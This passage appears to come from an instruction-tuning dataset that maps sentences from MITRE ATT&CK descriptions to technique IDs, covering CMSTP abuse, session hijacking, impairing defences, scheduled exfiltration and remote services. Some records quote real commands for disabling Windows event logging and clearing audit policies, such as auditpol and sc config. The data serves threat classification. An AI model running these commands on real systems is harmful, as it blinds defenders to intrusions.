List) (Citation: Endurant CMSTP July 2018) ### Response: T1218.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate binary that may be signed by Microsoft.", "output": "T1218.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This execution may also bypass AppLocker and other application control defenses since CMSTP.exe is a legitimate binary that may be signed by Microsoft. ### Response: T1218.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "CMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface.", "output": "T1218.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: CMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. ### Response: T1218.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: MSitPros CMSTP Aug 2017)", "output": "T1218.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: MSitPros CMSTP Aug 2017) ### Response: T1218.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)", "output": "T1218.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) ### Response: T1218.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may take control of preexisting sessions with remote services to move laterally in an environment.", "output": "T1563", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. ### Response: T1563."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP.", "output": "T1563", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. ### Response: T1563."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service.", "output": "T1563", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service. ### Response: T1563."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may commandeer these sessions to carry out actions on remote systems.", "output": "T1563", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may commandeer these sessions to carry out actions on remote systems. ### Response: T1563."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Remote Service Session Hijacking](https://attack.mitre.org/techniques/T1563) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it hijacks an existing session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: RDP Hijacking Medium)(Citation: Breach Post-mortem SSH Hijack)", "output": "T1563", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Remote Service Session Hijacking](https://attack.mitre.org/techniques/T1563) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it hijacks an existing session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: RDP Hijacking Medium)(Citation: Breach Post-mortem SSH Hijack) ### Response: T1563."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may hijack a legitimate user's SSH session to move laterally within an environment.", "output": "T1563.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may hijack a legitimate user's SSH session to move laterally within an environment. ### Response: T1563.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems.", "output": "T1563.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. ### Response: T1563.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.", "output": "T1563.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair. ### Response: T1563.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system.", "output": "T1563.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. ### Response: T1563.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may occur through compromising the SSH agent itself or by having access to the agent's socket.", "output": "T1563.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may occur through compromising the SSH agent itself or by having access to the agent's socket. ### Response: T1563.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial.(Citation: Slideshare Abusing SSH)(Citation: SSHjack Blackhat)(Citation: Clockwork SSH Agent Hijacking)(Citation: Breach Post-mortem SSH Hijack)", "output": "T1563.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial.(Citation: Slideshare Abusing SSH)(Citation: SSHjack Blackhat)(Citation: Clockwork SSH Agent Hijacking)(Citation: Breach Post-mortem SSH Hijack) ### Response: T1563.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[SSH Hijacking](https://attack.mitre.org/techniques/T1563/001) differs from use of [SSH](https://attack.mitre.org/techniques/T1021/004) because it hijacks an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).", "output": "T1563.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [SSH Hijacking](https://attack.mitre.org/techniques/T1563/001) differs from use of [SSH](https://attack.mitre.org/techniques/T1021/004) because it hijacks an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078). ### Response: T1563.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may also span both native defenses as well as supplemental capabilities installed by users and administrators.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may also span both native defenses as well as supplemental capabilities installed by users and administrators. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out of a computer or stopping it from being shut down.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out of a computer or stopping it from being shut down. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These restrictions can further enable malicious operations as well as the continued propagation of incidents.(Citation: Emotet shutdown)", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These restrictions can further enable malicious operations as well as the continued propagation of incidents.(Citation: Emotet shutdown) ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits.", "output": "T1562.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. ### Response: T1562.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events)", "output": "T1562.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) ### Response: T1562.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This data is used by security tools and analysts to generate detections.", "output": "T1562.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This data is used by security tools and analysts to generate detections. ### Response: T1562.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The EventLog service maintains event logs from various system components and applications.(Citation: EventLog_Core_Technologies)", "output": "T1562.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The EventLog service maintains event logs from various system components and applications.(Citation: EventLog_Core_Technologies) ### Response: T1562.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By default, the service automatically starts when a system powers on.", "output": "T1562.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By default, the service automatically starts when a system powers on. ### Response: T1562.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs.", "output": "T1562.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. ### Response: T1562.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Security audit policy settings can be changed by running secpol.msc, then navigating to <code>Security Settings\\Local Policies\\Audit Policy</code> for basic audit policy settings or <code>Security Settings\\Advanced Audit Policy Configuration</code> for advanced audit policy settings.(Citation: Audit_Policy_Microsoft)(Citation: Advanced_sec_audit_policy_settings) <code>auditpol.exe</code> may also be used to set audit policies.(Citation: auditpol)", "output": "T1562.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Security audit policy settings can be changed by running secpol.msc, then navigating to <code>Security Settings\\Local Policies\\Audit Policy</code> for basic audit policy settings or <code>Security Settings\\Advanced Audit Policy Configuration</code> for advanced audit policy settings.(Citation: Audit_Policy_Microsoft)(Citation: Advanced_sec_audit_policy_settings) <code>auditpol.exe</code> may also be used to set audit policies.(Citation: auditpol) ### Response: T1562.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may target system-wide logging or just that of a particular application.", "output": "T1562.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may target system-wide logging or just that of a particular application. ### Response: T1562.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, the Windows EventLog service may be disabled using the <code>Set-Service -Name EventLog -Status Stopped</code> or <code>sc config eventlog start=disabled</code> commands (followed by manually stopping the service using <code>Stop-Service  -Name EventLog</code>).(Citation: Disable_Win_Event_Logging)(Citation: disable_win_evt_logging)", "output": "T1562.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, the Windows EventLog service may be disabled using the <code>Set-Service -Name EventLog -Status Stopped</code> or <code>sc config eventlog start=disabled</code> commands (followed by manually stopping the service using <code>Stop-Service  -Name EventLog</code>).(Citation: Disable_Win_Event_Logging)(Citation: disable_win_evt_logging) ### Response: T1562.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, the service may be disabled by modifying the \u201cStart\u201d value in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\EventLog</code> then restarting the system for the change to take effect.(Citation: disable_win_evt_logging)", "output": "T1562.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, the service may be disabled by modifying the \u201cStart\u201d value in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\EventLog</code> then restarting the system for the change to take effect.(Citation: disable_win_evt_logging) ### Response: T1562.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are several ways to disable the EventLog service via registry key modification.", "output": "T1562.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are several ways to disable the EventLog service via registry key modification. ### Response: T1562.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "First, without Administrator privileges, adversaries may modify the \"Start\" value in the key <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Security</code>, then reboot the system to disable the Security EventLog.(Citation: winser19_file_overwrite_bug_twitter)", "output": "T1562.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: First, without Administrator privileges, adversaries may modify the \"Start\" value in the key <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Security</code>, then reboot the system to disable the Security EventLog.(Citation: winser19_file_overwrite_bug_twitter) ### Response: T1562.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Second, with Administrator privilege, adversaries may modify the same values in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-System</code> and <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Application</code> to disable the entire EventLog.(Citation: disable_win_evt_logging)", "output": "T1562.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Second, with Administrator privilege, adversaries may modify the same values in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-System</code> and <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Application</code> to disable the entire EventLog.(Citation: disable_win_evt_logging) ### Response: T1562.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, adversaries may use <code>auditpol</code> and its sub-commands in a command prompt to disable auditing or clear the audit policy.", "output": "T1562.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, adversaries may use <code>auditpol</code> and its sub-commands in a command prompt to disable auditing or clear the audit policy. ### Response: T1562.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To enable or disable a specified setting or audit category, adversaries may use the <code>/success</code> or <code>/failure</code> parameters.", "output": "T1562.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To enable or disable a specified setting or audit category, adversaries may use the <code>/success</code> or <code>/failure</code> parameters. ### Response: T1562.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, <code>auditpol /set", "output": "T1562.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, <code>auditpol /set ### Response: T1562.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "/category:\u201dAccount Logon\u201d", "output": "T1562.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: /category:\u201dAccount Logon\u201d ### Response: T1562.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "/success:", "output": "T1562.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: /success: ### Response: T1562.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "disable /failure:", "output": "T1562.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: disable /failure: ### Response: T1562.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "disable</code> turns off auditing for the Account Logon category.(Citation: auditpol.exe_STRONTIC)(Citation: T1562.002_redcanaryco)", "output": "T1562.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: disable</code> turns off auditing for the Account Logon category.(Citation: auditpol.exe_STRONTIC)(Citation: T1562.002_redcanaryco) ### Response: T1562.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To clear the audit policy, adversaries may run the following lines: <code>auditpol /clear /y</code> or <code>auditpol /remove", "output": "T1562.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To clear the audit policy, adversaries may run the following lines: <code>auditpol /clear /y</code> or <code>auditpol /remove ### Response: T1562.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "/allusers</code>.(Citation: T1562.002_redcanaryco)", "output": "T1562.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: /allusers</code>.(Citation: T1562.002_redcanaryco) ### Response: T1562.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.", "output": "T1562.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind. ### Response: T1562.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may schedule data exfiltration to be performed only at certain times of day or at certain intervals.", "output": "T1029", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may schedule data exfiltration to be performed only at certain times of day or at certain intervals. ### Response: T1029."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This could be done to blend traffic patterns with normal activity or availability.", "output": "T1029", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This could be done to blend traffic patterns with normal activity or availability. ### Response: T1029."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) or [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).", "output": "T1029", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) or [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). ### Response: T1029."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service that accepts remote connections, such as telnet, SSH, and VNC.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service that accepts remote connections, such as telnet, SSH, and VNC. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The adversary may then perform actions as the logged-on user.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The adversary may then perform actions as the logged-on user. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In an enterprise environment, servers and workstations can be organized into domains.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In an enterprise environment, servers and workstations can be organized into domains. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services)", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services) ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They could also login to accessible SaaS or IaaS services, such as those that federate their identities to the domain.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They could also login to accessible SaaS or IaaS services, such as those that federate their identities to the domain. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Legitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Legitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation:", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation: ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Remote Management MDM macOS)(Citation:", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Remote Management MDM macOS)(Citation: ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kickstart Apple Remote Desktop commands)(Citation:", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kickstart Apple Remote Desktop commands)(Citation: ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Apple Remote Desktop Admin Guide 3.3)", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Apple Remote Desktop Admin Guide 3.3) ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation:", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation: ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Lockboxx ARD 2019)(Citation:", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Lockboxx ARD 2019)(Citation: ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kickstart Apple Remote Desktop commands)", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kickstart Apple Remote Desktop commands) ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with a remote network share using Server Message Block (SMB).", "output": "T1021.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with a remote network share using Server Message Block (SMB). ### Response: T1021.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The adversary may then perform actions as the logged-on user.", "output": "T1021.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The adversary may then perform actions as the logged-on user. ### Response: T1021.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SMB is a file, printer, and serial port sharing protocol for Windows machines on the same network or domain.", "output": "T1021.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SMB is a file, printer, and serial port sharing protocol for Windows machines on the same network or domain. ### Response: T1021.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use SMB to interact with file shares, allowing them to move laterally throughout a network.", "output": "T1021.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use SMB to interact with file shares, allowing them to move laterally throughout a network. ### Response: T1021.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Linux and macOS implementations of SMB typically use Samba.", "output": "T1021.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Linux and 